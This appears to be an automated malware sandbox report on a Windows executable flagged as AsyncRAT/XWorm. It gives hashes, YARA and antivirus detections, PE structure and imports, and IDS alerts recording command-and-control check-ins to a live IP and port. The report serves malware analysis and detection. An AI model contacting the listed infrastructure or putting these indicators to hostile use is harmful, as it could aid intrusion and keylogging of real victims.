SHA1:	0DBE542E0FE98E17E877F2E5D1DD6DC252943F41
SHA-256:	48CA5393CC5F72125E9677A9833E86B4BD65AA4A9C167C6171A2D38359B100D9
SHA-512:	54699E0C3DBA1D2DF00ACA934264FBF728BC2185024D577F3CE2325A9A04467E5B52D15E5F3A5689FE839AFA48175765D55F941879076DE8012F4BB84FAB9CD7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\svchost.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\svchost.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\svchost.exe, Author: Joe Security Rule: rat_win_xworm_v3, Description: Finds XWorm (version XClient, v3) samples based on characteristic strings, Source: C:\Users\user\svchost.exe, Author: Sekoia.io Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\svchost.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...vvXg................................. ........@.. ....................................@.................................l...O.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........[...X............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.416737853603541
Encrypted:	false
SSDEEP:	6144:+cifpi6ceLPL9skLmb0moSWSPtaJG8nAgex285i2MMhA20X4WABlGuNQ5+:Li58oSWIZBk2MM6AFBWo
MD5:	E3A0D48231A31E952EE110715C17D389
SHA1:	D5D6BCAD50458CF6DECDF62E8822AA033B11D1D7
SHA-256:	7D6E234B21E98791A56C0CD09FEE1FEFDAE80FF14AF64D20A7B84E20DEAD0B81
SHA-512:	54E3B0D58FC8793692590C3C4E2A9372CCD15934F1E50B2C660989D5E20B0B911C6F08ED9E341231DDF74A340CA36C7F41365F850804A00313F0D92D9E44F88D
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.^.CJ]..............................................................................................................................................................................................................................................................................................................................................N..w........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.930201449389876
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 48.37% Win32 Executable (generic) a (10002005/4) 48.32% Win32 Executable Borland Delphi 7 (665061/41) 3.21% Win32 Executable Delphi generic (14689/80) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	file.exe
File size:	5'999'616 bytes
MD5:	100620cd1016f9b7aed030b8eced2afd
SHA1:	f98f52d52fa58ea5d9b179d28422109958e1b3e2
SHA256:	457a62394c53eba3c5ef6d569230487c17aaabc837a4a9361670b1c2ee9f5c34
SHA512:	b092244989f027692ee5cc4475611469c8ead213dde075493a6f6a5d3b81371d428958617c58a6c16dbadf75cb878fe279c0140f1629a169392e5f14e6c0f08d
SSDEEP:	98304:znsmtk2ahd+T6Kn5kBqUMWirt49K9nWBp5doWp/IZviyJrw:LLQdxK3z49K9I5B0vJw
TLSH:	BC56122772F39037D2661AB84C56F3EDE535B9603D5C2E062EF41F6D6E693A96C00382
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	4303183c4ecc1799

Static PE Info

General

Entrypoint:	0x49ab80
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	332f7ce65ead0adfb3d35147033aabe9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0049A778h
call 00007F432CB28BFDh
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F432CB7C545h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, 0049ABE0h
call 00007F432CB7C144h
mov ecx, dword ptr [0049DBDCh]
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00496590h]
call 00007F432CB7C534h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F432CB7C5A8h
call 00007F432CB266DBh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2a42	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x50e3e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa5000	0xa980	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0xa4018	0x21	.rdata
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x99bec	0x99c00	33fbe30e8a64654287edd1bf05ae7c8c	False	0.5141641260162602	data	6.572957870355296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9b000	0x2e54	0x3000	1f5e19e7d20c1d128443d738ac7bc610	False	0.453125	data	4.854620797809023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9e000	0x11e5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa0000	0x2a42	0x2c00	21ff53180b390dc06e3a1adf0e57a073	False	0.3537819602272727	data	4.919333216027082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x39	0x200	a92cf494c617731a527994013429ad97	False	0.119140625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.7846201577093705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0xa980	0xaa00	dcd1b1c3f3d28d444920211170d1e8e6	False	0.5899816176470588	data	6.674124985579511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x50e3e8	0x50e400	f64b1e70cc494c876321c95b0af74052	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xb0f78	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0xb10ac	0x134	data			0.4642857142857143
RT_CURSOR	0xb11e0	0x134	data			0.4805194805194805
RT_CURSOR	0xb1314	0x134	data			0.38311688311688313
RT_CURSOR	0xb1448	0x134	data			0.36038961038961037
RT_CURSOR	0xb157c	0x134	data			0.4090909090909091
RT_CURSOR	0xb16b0	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0xb17e4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb19b4	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0xb1b98	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1d68	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
RT_BITMAP	0xb1f38	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0xb2108	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0xb22d8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0xb24a8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb2678	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0xb2848	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb2a18	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_ICON	0xb2b00	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 9488 x 9488 px/m			0.5709219858156028
RT_ICON	0xb2f68	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	Turkish	Turkey	0.2101313320825516
RT_ICON	0xb4010	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 9488 x 9488 px/m			0.48688524590163934
RT_ICON	0xb4998	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 9488 x 9488 px/m			0.4303470919324578
RT_ICON	0xb5a40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 9488 x 9488 px/m			0.3677385892116183
RT_ICON	0xb7fe8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 9488 x 9488 px/m			0.34069437883797826
RT_ICON	0xbc210	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736, resolution 9488 x 9488 px/m			0.3265249537892791
RT_ICON	0xc1698	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864, resolution 9488 x 9488 px/m			0.30604898044986334
RT_ICON	0xcab40	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 9488 x 9488 px/m			0.28759020466106705
RT_ICON	0xdb368	0x11f69	PNG image data, 256 x 256, 8-bit/color RGB, non-interlaced			0.9871019476195007
RT_DIALOG	0xed2d4	0x52	data			0.7682926829268293
RT_STRING	0xed328	0x358	data			0.3796728971962617
RT_STRING	0xed680	0x428	data			0.37406015037593987
RT_STRING	0xedaa8	0x3a4	data			0.40879828326180256
RT_STRING	0xede4c	0x3bc	data			0.33472803347280333
RT_STRING	0xee208	0x2d4	data			0.4654696132596685
RT_STRING	0xee4dc	0x334	data			0.42804878048780487
RT_STRING	0xee810	0x42c	data			0.42602996254681647
RT_STRING	0xeec3c	0x1f0	data			0.4213709677419355
RT_STRING	0xeee2c	0x1c0	data			0.44419642857142855
RT_STRING	0xeefec	0xdc	data			0.6
RT_STRING	0xef0c8	0x320	data			0.45125
RT_STRING	0xef3e8	0xd8	data			0.5879629629629629
RT_STRING	0xef4c0	0x118	data			0.5678571428571428
RT_STRING	0xef5d8	0x268	data			0.4707792207792208
RT_STRING	0xef840	0x3f8	data			0.37598425196850394
RT_STRING	0xefc38	0x378	data			0.41103603603603606
RT_STRING	0xeffb0	0x380	data			0.35379464285714285
RT_STRING	0xf0330	0x374	data			0.4061085972850679
RT_STRING	0xf06a4	0xe0	data			0.5535714285714286
RT_STRING	0xf0784	0xbc	data			0.526595744680851
RT_STRING	0xf0840	0x368	data			0.40940366972477066
RT_STRING	0xf0ba8	0x3fc	data			0.34901960784313724
RT_STRING	0xf0fa4	0x2fc	data			0.36649214659685864
RT_STRING	0xf12a0	0x354	data			0.31572769953051644
RT_RCDATA	0xf15f4	0x44	data			0.8676470588235294
RT_RCDATA	0xf1638	0x10	data			1.5
RT_RCDATA	0xf1648	0x4c3e00	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows			0.9369964599609375
RT_RCDATA	0x5b5448	0x3	ASCII text, with no line terminators	Turkish	Turkey	3.6666666666666665
RT_RCDATA	0x5b544c	0x3c00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	Turkish	Turkey	0.54296875
RT_RCDATA	0x5b904c	0x64c	data			0.5998759305210918
RT_RCDATA	0x5b9698	0x153	Delphi compiled form 'TFormVir'			0.7522123893805309
RT_RCDATA	0x5b97ec	0x47d3	Microsoft Excel 2007+	Turkish	Turkey	0.8675150921846957
RT_GROUP_CURSOR	0x5bdfc0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x5bdfd4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x5bdfe8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x5bdffc	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x5be010	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x5be024	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x5be038	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0x5be04c	0x14	data	Turkish	Turkey	1.1
RT_GROUP_ICON	0x5be060	0x84	data			0.7045454545454546
RT_VERSION	0x5be0e4	0x304	data	Turkish	Turkey	0.42875647668393785

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
ole32.dll	CLSIDFromString
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ShellExecuteExA, ExtractIconExW
wininet.dll	InternetGetConnectedState, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHGetDesktopFolder
advapi32.dll	OpenSCManagerA, CloseServiceHandle
wsock32.dll	WSACleanup, WSAStartup, gethostname, gethostbyname, inet_ntoa
netapi32.dll	Netbios

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-02T20:10:46.859580+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49717	142.250.74.206	443	TCP
2025-01-02T20:10:47.059638+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49716	142.250.74.206	443	TCP
2025-01-02T20:10:47.535888+0100	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	192.168.2.7	49720	69.42.215.252	80	TCP
2025-01-02T20:10:47.964738+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49719	142.250.74.206	443	TCP
2025-01-02T20:10:48.087487+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49723	142.250.74.206	443	TCP
2025-01-02T20:10:48.978485+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49727	142.250.74.206	443	TCP
2025-01-02T20:10:49.121749+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49729	142.250.74.206	443	TCP
2025-01-02T20:10:50.030967+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49734	142.250.74.206	443	TCP
2025-01-02T20:10:50.250722+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49736	142.250.74.206	443	TCP
2025-01-02T20:10:51.606067+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49747	142.250.74.206	443	TCP
2025-01-02T20:10:51.616458+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49748	142.250.74.206	443	TCP
2025-01-02T20:10:52.632472+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49752	142.250.74.206	443	TCP
2025-01-02T20:10:52.658005+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49754	142.250.74.206	443	TCP
2025-01-02T20:10:53.729370+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49756	142.250.74.206	443	TCP
2025-01-02T20:10:53.756738+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	49757	142.250.74.206	443	TCP
2025-01-02T20:10:54.565012+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	55997	142.250.74.206	443	TCP
2025-01-02T20:10:54.565153+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	55996	142.250.74.206	443	TCP
2025-01-02T20:10:55.585004+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	56000	142.250.74.206	443	TCP
2025-01-02T20:10:55.585795+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	56001	142.250.74.206	443	TCP
2025-01-02T20:10:56.772937+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	56006	142.250.74.206	443	TCP
2025-01-02T20:10:56.782753+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	56008	142.250.74.206	443	TCP
2025-01-02T20:10:57.810187+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	56011	142.250.74.206	443	TCP
2025-01-02T20:10:57.827925+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	56010	142.250.74.206	443	TCP
2025-01-02T20:10:58.830283+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	56017	142.250.74.206	443	TCP
2025-01-02T20:10:58.840619+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	56018	142.250.74.206	443	TCP
2025-01-02T20:10:59.737137+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.7	56023	142.250.74.206	443	TCP
2025-01-02T20:11:01.536134+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:01.565166+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:12.226015+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:12.226015+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:12.609179+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:12.611411+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49740	45.141.26.134	7000	TCP
